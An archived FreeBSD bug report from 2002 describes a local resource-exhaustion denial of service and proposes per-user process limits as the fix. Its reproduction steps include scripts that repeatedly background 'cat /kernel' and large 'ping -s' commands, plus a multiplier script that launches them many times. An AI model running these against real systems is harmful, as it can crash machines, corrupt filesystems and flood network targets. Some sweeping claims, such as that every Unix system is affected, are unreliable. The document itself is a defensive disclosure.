Date: Wed, 30 Jan 2002 19:10:35 -0800 (PST) From: Aaron Surina <seattle@zeroday.net> To: freebsd-gnats-submit@FreeBSD.org Subject: kern/34477: Memory Overflow Message-ID: <200201310310.g0V3AZi77451@freefall.freebsd.org>
next in thread | raw e-mail | index | archive | help
>Number: 34477
>Category: kern
>Synopsis: Memory Overflow
>Confidential: no
>Severity: serious
>Priority: medium
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Wed Jan 30 19:20:00 PST 2002
>Closed-Date:
>Last-Modified:
>Originator: Aaron Surina
>Release: 4.5 and under
>Organization:
Invincible Domains
>Environment:
FreeBSD ********.net 4.4-RELEASE-p4 FreeBSD 4.4-RELEASE-p4 #0: (date) root@********.net:/usr/src/sys/compile/uber i386
>Description:
I have found a problem that can potentially cause BLK CNT's to be misread in /var directories upon bootup. This was the case on one box I was testing. I also found that in doing this research, someone can potentially reboot ANY FreeBSD Computer within a matter of moments to minutes. This exploit revolves around process handling and requests. The number of requests allowed by any single user needs to be controlled due to this discovery. This exploit does not gain any elevated priveledges however it can potentially destroy the contents of the bootable drive on the system in which a manual fsck is required but will not fix the blk counts which are misread.
>How-To-Repeat:
You can repeat the problem by creating a file in _edit_ and running a list like this:
-----> start of file <-----
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
cat /kernel > ~/ree &
This would need to carry on for quite a long time. Now it will eventually run the system out of process resources.
NOTE: The number of processes allowed to be run by a particular individual should be controlled or specified somewhere. I think that is possible already but I am unsure on how.
NOTE: If you do not point the verbose output of /kernel to ~/ree
(~/ree is just an example); but instead have it as terminal verbose output, I noticed it does more damage. I crashed one 4.4 box by using:
(example file "test1")
----> start of file <----
ping -s 19713 ip_address &
ping -s 19713 ip_address &
ping -s 19713 ip_address &
ping -s 19713 ip_address &
ping -s 19713 ip_address &
and so on. This is where the /var directory was unable to be recovered.
I formatted the drive and am going to reinstall again, to test the box.
This was done on an intranet with half duplex speeds and I probably had included 25 lines of ping commands. I chmod 777 to the file, then I create a file (ex. name "test2") and I build it to be a multiplying factor in process execution. Example:
---> start of file (test2) <----
~/test1 &
~/test1 &
~/test1 &
~/test1 &
~/test1 &
~/test1 &
~/test1 &
~/test1 &
~/test1 &
~/test1 &
~/test1 &
~/test1 &
~/test1 &
and so on. Now this runs the system resources out of their normal admired liberty in a real quick hurry as you can guess. Each call for test1 is an array(a number of calls for functions in the file) working against the system. This can be done in a matter of minutes.
>Fix:
Limit the processes available to each user. Like allow a user to run maybe 5 processes at once. This would limit security threats in a major way! Most compiling would have to be done by trusted user groups only. =]
Keep up the awesome dev guys!
Much love,
Aaron Surina
PS: THIS AFFECTS ALL UNIX BASED OPERATING SYSTEMS.
>Release-Note:
>Audit-Trail:
>Unformatted:
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?200201310310.g0V3AZi77451>